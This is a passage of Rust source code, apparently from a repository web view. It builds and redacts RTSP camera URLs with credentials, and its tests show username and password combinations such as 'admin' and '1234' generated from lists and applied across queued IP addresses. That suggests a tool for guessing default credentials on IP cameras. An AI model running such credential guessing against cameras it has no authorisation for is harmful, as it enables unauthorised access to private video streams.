|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn build_rtsp_auth_prefix(username: Option<&str>, password: Option<&str>) -> String {
|
||||||
|
match (username, password) {
|
||||||
|
(None, None) => String::new(),
|
||||||
|
(Some(username), Some(password)) => {
|
||||||
|
format!(
|
||||||
|
"{}:{}@",
|
||||||
|
encode_rtsp_userinfo(username),
|
||||||
|
encode_rtsp_userinfo(password)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
(Some(username), None) => format!("{}@", encode_rtsp_userinfo(username)),
|
||||||
|
(None, Some(password)) => format!(":{}@", encode_rtsp_userinfo(password)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn encode_rtsp_userinfo(value: &str) -> String {
|
||||||
|
let mut encoded = String::with_capacity(value.len());
|
||||||
|
for byte in value.as_bytes() {
|
||||||
|
match byte {
|
||||||
|
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'.' | b'_' | b'~' => {
|
||||||
|
encoded.push(*byte as char)
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
let _ = write!(&mut encoded, "%{byte:02X}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
encoded
|
||||||
|
}
|
||||||
|
|
||||||
|
fn redact_rtsp_url(url: &str) -> String {
|
||||||
|
let Some(rest) = url.strip_prefix("rtsp://") else {
|
||||||
|
return url.to_string();
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some((authority, path)) = rest.split_once('/') else {
|
||||||
|
return url.to_string();
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some((userinfo, host)) = authority.rsplit_once('@') else {
|
||||||
|
return url.to_string();
|
||||||
|
};
|
||||||
|
|
||||||
|
let redacted_userinfo = match userinfo.split_once(':') {
|
||||||
|
Some((user, _)) if !user.is_empty() => format!("{user}:***"),
|
||||||
|
Some(_) => "***".to_string(),
|
||||||
|
None if !userinfo.is_empty() => format!("{userinfo}:***"),
|
||||||
|
None => "***".to_string(),
|
||||||
|
};
|
||||||
|
|
||||||
|
format!("rtsp://{}@{}/{}", redacted_userinfo, host, path)
|
||||||
|
}
|
||||||
|
|
||||||
fn timestamp_millis() -> i64 {
|
fn timestamp_millis() -> i64 {
|
||||||
SystemTime::now()
|
SystemTime::now()
|
||||||
.duration_since(UNIX_EPOCH)
|
.duration_since(UNIX_EPOCH)
|
||||||
.map(|duration| duration.as_millis() as i64)
|
.map(|duration| duration.as_millis() as i64)
|
||||||
.unwrap_or_default()
|
.unwrap_or_default()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn builds_credential_combinations_in_useful_order() {
|
||||||
|
let usernames = vec!["".to_string(), "admin".to_string()];
|
||||||
|
let passwords = vec!["".to_string(), "1234".to_string()];
|
||||||
|
|
||||||
|
let credentials = build_rtsp_credentials(&usernames, &passwords);
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
credentials,
|
||||||
|
vec![
|
||||||
|
RtspCredential::anonymous(),
|
||||||
|
RtspCredential::from_parts(Some("admin"), None),
|
||||||
|
RtspCredential::from_parts(None, Some("1234")),
|
||||||
|
RtspCredential::from_parts(Some("admin"), Some("1234")),
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn builds_and_redacts_rtsp_urls_with_auth() {
|
||||||
|
let url = build_rtsp_url("192.168.1.10", 554, "/stream", Some("admin"), Some("1234"));
|
||||||
|
|
||||||
|
assert_eq!(url, "rtsp://admin:1234@192.168.1.10:554/stream");
|
||||||
|
assert_eq!(
|
||||||
|
redact_rtsp_url(&url),
|
||||||
|
"rtsp://admin:***@192.168.1.10:554/stream"
|
||||||
|
);
|
||||||
|
assert_eq!(extract_host(&url), "192.168.1.10:554");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parses_json_arrays_with_strings() {
|
||||||
|
let input = r#"
|
||||||
|
{
|
||||||
|
"usernames": ["", "admin"],
|
||||||
|
"passwords": ["", "1234"]
|
||||||
|
}
|
||||||
|
"#;
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
parse_json_string_array(input, "usernames").unwrap(),
|
||||||
|
vec!["".to_string(), "admin".to_string()]
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
parse_json_string_array(input, "passwords").unwrap(),
|
||||||
|
vec!["".to_string(), "1234".to_string()]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parses_queue_blocks_into_ips() {
|
||||||
|
let block = "192.168.0.10\n192.168.0.11\n\n# ignored\ncamera";
|
||||||
|
|
||||||
|
assert_eq!(
|
||||||
|
parse_ip_block(block),
|
||||||
|
vec!["192.168.0.10".to_string(), "192.168.0.11".to_string()]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user